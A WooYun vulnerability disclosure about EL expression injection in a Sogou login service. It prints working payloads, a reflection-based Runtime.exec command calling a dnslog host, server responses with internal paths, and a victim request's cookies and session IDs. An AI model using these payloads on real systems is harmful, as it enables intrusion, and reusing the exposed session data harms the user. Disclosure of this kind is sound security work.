搜狗某系统存在远程EL表达式注入漏洞(命令执行)

admin 2017年4月28日22:03:22评论2,142 views字数 204阅读0分40秒阅读模式
摘要

2016-04-13: 细节已通知厂商并且等待厂商处理中
2016-04-17: 厂商已经确认,细节仅向厂商公开
2016-04-27: 细节向核心白帽子及相关领域专家公开
2016-05-07: 细节向普通白帽子公开
2016-05-17: 细节向实习白帽子公开
2016-06-01: 细节向公众公开

漏洞概要 关注数(167) 关注此漏洞

缺陷编号: WooYun-2016-195845

漏洞标题: 搜狗某系统存在远程EL表达式注入漏洞(命令执行)

相关厂商: 搜狗

漏洞作者: 猪猪侠搜狗某系统存在远程EL表达式注入漏洞(命令执行)

提交时间: 2016-04-13 16:01

公开时间: 2016-06-01 09:20

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

51人收藏


漏洞详情

披露状态:

2016-04-13: 细节已通知厂商并且等待厂商处理中
2016-04-17: 厂商已经确认,细节仅向厂商公开
2016-04-27: 细节向核心白帽子及相关领域专家公开
2016-05-07: 细节向普通白帽子公开
2016-05-17: 细节向实习白帽子公开
2016-06-01: 细节向公众公开

简要描述:

搜狗某系统存在远程表达式注入漏洞(命令执行)
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法

详细说明:

#1 漏洞地址

code 区域
https://auth.p4p.sogou.com/login?service=${1000-900}
code 区域
https://auth.p4p.sogou.com/login?service=${pageContext}
action="" method="post">

#2 表达式执行后的结果返回在页面

搜狗某系统存在远程EL表达式注入漏洞(命令执行)

获取web路径

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

file:/opt/local/resin/

code 区域
https://auth.p4p.sogou.com/login?service=${requestScope}
{javax.servlet.jsp.jstl.fmt.locale=zh_CN, org.springframework.validation.BindingResult.credentials=org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope=map[[empty]], flowExecutionUrl=/login?service=%5BLjava.lang.String%3B%40660b2cde, warnCookieValue=false, javax.servlet.forward.servlet_path=/login, org.springframework.web.servlet.support.RequestContext.CONTEXT=Flow ApplicationContext
此处为隐藏的内容
注册登录后,方可查看
: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace 'eunomia-servlet', org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward=true, javax.servlet.forward.request_uri=/login, javax.servlet.forward.query_string=service=${requestScope}, loginTicket=LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path=, phoneValidationModel=com.sogou.bizdev.eunomia.validation.phone.Ph, flowExecutionKey=e110s1, service=${requestScope}, commandName=credentials, encodingFilter.FILTERED=true, credentials=[username: null]}
code 区域
https://auth.p4p.sogou.com/login?service=${header}
{Upgrade-Insecure-Requests=1, Accept-Language=zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4, Cookie=SUV=1446734204911570; IPLOC=CN4401; SUID=BA5782774FC80D0A00000000563B6987; pgv_pvi=3484909568; sct=4; LSTMV=703%2C260; LCLKINT=108193; CXID=5CE9FE68778002DCEC30C2A9412EBA10; GOTO=; ad=3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5@@@@@@@@@@; _euid=75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID=abcN1iKReDhPacJcOLoqv; session_id_agent_crm=8a089ef7-44bf-493b-81bc-45a327cf03ec, Host=auth.p4p.sogou.com, PROXY_ADDR=10.149.29.104, Accept-Encoding=gzip, deflate, sdch, X-Real-IP=119.130.85.119, X-Forwarded-For=*******, User-Agent=, Connection=close, Accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}

漏洞证明:

EL表达式参考

http://www.cnblogs.com/xdp-gacl/p/3938361.html

利用方式1

code 区域
().exec(/u0027ifconfig/u0027).getInputStream())}

#3 执行命令

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}

CloudEYE:

code 区域
13-Apr-2016 18:42:50.858 queries: client 208.69.37.21#19674 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)
13-Apr-2016 18:42:53.876 queries: client 208.69.37.17#53756 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)

读取 ${sessionScope}, 获取a=InputStream的回显内容,

获取WebROOT

https://auth.p4p.sogou.com/login?service=${applicationScope}

code 区域
javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,
org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext

然后就用命令向这个目录/opt/app/eunomia/ 写jsp文件了

修复方案:

#4 校验客户端的变量

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-17 09:18

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-13 16:09 | 数据流 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 普通白帽子 | Rank:817 漏洞数:100 | 没关系啊,我们还有音乐)

    1

    Struts2?

  2. 2016-04-13 16:19 | 3xpl0it ( 普通白帽子 | Rank:151 漏洞数:37 )

    1

    远程表达式注入

  3. 2016-04-13 16:23 | 紫霞仙子 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 普通白帽子 | Rank:2302 漏洞数:307 | 没好团队,啥都干不成!!!)

    2

    100-1

  4. 2016-04-13 16:45 | 带馅儿馒头 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 核心白帽子 | Rank:1399 漏洞数:157 | 心在,梦在)

    1

    围观

  5. 2016-04-13 16:50 | 盛大网络(乌云厂商)

    1

    不能执行命令

  6. 2016-04-13 17:18 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)

    1

    @盛大网络 不要瞎说话,小心猪猪侠拿个小本子把你记上了

  7. 2016-04-13 17:20 | 白骨夫人 ( 普通白帽子 | Rank:248 漏洞数:56 | 白骨夫人,白只做白的,骨就是骨气,夫人就...)

    1

    猪哥哥好厉害!!!混个脸熟

  8. 2016-04-13 18:02 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    1

    @白骨夫人 又逮着你了

  9. 2016-04-13 18:24 | 小川 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 核心白帽子 | Rank:1627 漏洞数:242 | 一个致力要将乌云变成搞笑论坛的男人)

    2

    SGSRC好像已经倒闭了,我上个月兑换的京东卡和提的漏洞,现在还没人管

  10. 2016-04-13 18:26 | 猪猪侠 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 核心白帽子 | Rank:5372 漏洞数:415 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    1

    @盛大网络 SHELL都反弹了。

  11. 2016-04-13 19:37 | if、so 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 核心白帽子 | Rank:1204 漏洞数:104 | Enjoy Hacking)

    1

    666

  12. 2016-04-13 20:50 | 盛大在线(乌云厂商)

    2

    @猪猪侠 猪哥厉害

  13. 2016-04-13 21:47 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    1

    @猪猪侠 猪哥厉害

  14. 2016-04-13 22:38 | ds-hale ( 路人 | Rank:4 漏洞数:2 | free loop)

    1

    期待公开啊

  15. 2016-04-13 23:35 | Ton7BrEak ( 普通白帽子 | Rank:350 漏洞数:70 | ☁ 我要继续努力!)

    1

    一个月后再回来看看那

  16. 2016-04-14 10:10 | 雅柏菲卡 ( 普通白帽子 | Rank:1299 漏洞数:259 | 雙魚座聖鬥士雅柏菲卡)

    1

    @盛大网络 表说话 猪猪侠可能会让你忙碌不已

  17. 2016-04-14 14:06 | 盛大网络(乌云厂商)

    1

    @雅柏菲卡 你咋那么了解我

  18. 2016-04-14 16:23 | 雅柏菲卡 ( 普通白帽子 | Rank:1299 漏洞数:259 | 雙魚座聖鬥士雅柏菲卡)

    1

    @盛大网络 我真的了解你

  19. 2016-04-14 17:12 | 猪猪侠的男朋友 ( 路人 | Rank:4 漏洞数:1 )

    4

    我来了(。◕‿◕。)

  20. 2016-04-17 12:21 | 刘海哥 ( 普通白帽子 | Rank:135 漏洞数:30 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    1

    @盛大在线 表说话 猪猪侠可能会让你忙碌不已

  21. 2016-04-17 12:22 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    1

    66666

  22. 2016-06-01 14:31 | Chora 搜狗某系统存在远程EL表达式注入漏洞(命令执行) ( 普通白帽子 | Rank:387 漏洞数:26 | 生存、生活、生命。)

    0

    学习了,猪哥就是屌。确实没想到可以使用反射来做任何操作。 http://www.cn-sec.com/drops//tips/2892

  23. 2016-06-01 14:58 | 习总夸我好青年 ( 路人 | Rank:2 漏洞数:1 | 刚来的,请多关照)

    0

    这个6666666666666

  24. 2016-06-01 16:01 | erhuo ( 普通白帽子 | Rank:164 漏洞数:39 | 666)

    0

    @盛大在线 表说话 猪猪侠可能会让你忙碌不已

  25. 2016-06-01 16:13 | 尼古拉斯复愁 ( 路人 | Rank:6 漏洞数:3 )

    0

    @盛大网络 表说话 猪猪侠可能会让你忙碌不已

  26. 2016-06-01 16:29 | 盛大网络(乌云厂商)

    0

    @尼古拉斯复愁 赶快让我忙碌起来

  27. 2016-06-01 16:40 | 尼古拉斯复愁 ( 路人 | Rank:6 漏洞数:3 )

    0

    我啊,我跟着装逼的。

  28. 2016-06-01 16:44 | 尼古拉斯复愁 ( 路人 | Rank:6 漏洞数:3 )

    0

    同样是说,为什么中枪的是我。开个玩笑不行么-.-

  29. 2016-06-01 17:11 | 盛大网络(乌云厂商)

    0

    @尼古拉斯复愁 小兄弟 我也是在开玩笑啊

  30. 2016-06-02 07:45 | 尼古拉斯复愁 ( 路人 | Rank:6 漏洞数:3 )

    0

    大哥哥,我知道了。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin